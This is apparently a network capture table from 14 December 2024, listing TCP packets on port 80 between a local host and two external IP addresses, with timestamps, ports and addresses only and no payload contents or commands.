Dec 14, 2024 14:56:27.571655989 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.572818995 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.572871923 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.572926044 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.572971106 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.574134111 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.574181080 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.574254036 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.574310064 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.575481892 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.575594902 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.575647116 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.576822042 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.576878071 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.576931953 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.578142881 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.578200102 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.578325987 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.578383923 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.579449892 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.579504013 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.579581976 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.579637051 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.580773115 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.580904961 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.580964088 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.582109928 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.582165956 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.582233906 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.582288027 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.583431959 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.583484888 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.583549976 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.583602905 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.584764957 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.584861040 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.584920883 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.586085081 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.586141109 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.586200953 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.586266994 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.587474108 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.587528944 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.587551117 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.587604046 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.588849068 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.589001894 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.589056969 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.590159893 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.590213060 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.590312958 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.590365887 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.591453075 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.591506958 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.591506958 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.591558933 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.592787027 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.592914104 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.592969894 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.594037056 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.594091892 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.594146967 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.594199896 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.595371962 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.595427990 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.595465899 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.595519066 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.596723080 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.596834898 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.596889973 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.598016024 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.598068953 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.598071098 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.598117113 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.599363089 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.599412918 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.599477053 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.599529982 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.600734949 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.600905895 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.600960016 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.601980925 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.602032900 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.602101088 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.602153063 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.603326082 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.603394032 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.723802090 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.723867893 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.723985910 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.724255085 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.724311113 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.724535942 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.724694967 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.724752903 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.725738049 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.725792885 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.725794077 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.725845098 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.726753950 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.726808071 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.726882935 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.727107048 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.727889061 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.728037119 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.728095055 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.729002953 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.729057074 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.729139090 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.729193926 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.730132103 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.730185032 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.730305910 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.730356932 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.731195927 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.731251001 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.731354952 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.731405973 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.732357025 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.732410908 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.732436895 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.732490063 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.733479977 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.733616114 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.733671904 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.734556913 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.734613895 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.734683990 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.734736919 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.735660076 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.735716105 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.735786915 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.735838890 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.736784935 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.736896992 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.736969948 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.737915993 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.737970114 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.737970114 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.738019943 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.739012003 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.739063978 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.739134073 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.739185095 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.740127087 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.740181923 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.740252972 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.740304947 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.741223097 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.741353035 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.741408110 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.742364883 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.742415905 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.742460966 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.742511034 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.743504047 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.743567944 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.743616104 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.743665934 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.744589090 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.744704962 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.744760036 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.745706081 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.745759964 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.745829105 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.745881081 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.746797085 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.746855021 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.746920109 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.746972084 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.747909069 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.747961998 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.748025894 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.748075008 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.749013901 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.749139071 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.749190092 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.750130892 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.750183105 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.750247955 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.750300884 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.751240969 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.751291990 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.751374960 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.751425028 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.752408028 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.752460003 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.752497911 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.752547979 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.753504038 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.753626108 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.753679037 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.754602909 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.754657030 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.754658937 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.754705906 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.755708933 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.755760908 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.755847931 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.755902052 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.756875992 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.757070065 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.757119894 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.757932901 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.757982969 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.758063078 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.758112907 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.759054899 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.759107113 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.759186029 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.759236097 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.760183096 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.760236979 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.760314941 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.760365009 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.761286020 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.761413097 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.761467934 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.762423038 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.762475014 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.762475967 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.762526989 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.763549089 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.763612032 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.763663054 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.763712883 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.764621019 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.764755964 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.764815092 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.765818119 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.765872955 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.765919924 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.765971899 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.766849995 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.766900063 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.766974926 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.767026901 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.767950058 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.768001080 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.768122911 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.768172026 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.769092083 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.769196033 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.769249916 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.770188093 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.770242929 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.770311117 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.770361900 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.771305084 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.771369934 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.771419048 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.771466970 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.772398949 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.772449017 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.772509098 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.772576094 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.773530960 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.773685932 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.773737907 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.774650097 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.774705887 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.774774075 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.774823904 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.775769949 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.775820017 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.775892973 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.775942087 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.776931047 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.777106047 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.777160883 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.777976990 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.778029919 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.778099060 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.778150082 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.779086113 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.779135942 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.779217958 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.779268026 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.780220985 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.780271053 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.780319929 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.780371904 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.781317949 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.781466961 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.781524897 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.851326942 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:27.851346016 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:27.851386070 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:27.851455927 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:27.851469040 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:27.851592064 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:27.851592064 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:27.851659060 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:27.851692915 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:27.851721048 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:27.851728916 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:27.851767063 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:27.851803064 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:27.851917982 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:27.851917982 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:27.916145086 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.916271925 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.916436911 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.916487932 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.916507959 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.916542053 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.916752100 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.916810036 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.916886091 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.916938066 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.917870998 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.917932987 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.918020010 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.918067932 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.918996096 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.919114113 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.919177055 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.920088053 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.920140028 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.920201063 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.920370102 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.921214104 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.921263933 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.921291113 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.921372890 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.922470093 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.922574043 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.922620058 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.922669888 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.923593044 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.923643112 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.923748016 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.923799038 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.924587965 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.924663067 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.924675941 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.924720049 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.925673962 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.925741911 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.925767899 CET	80	49876	31.41.244.11	192.168.2.5
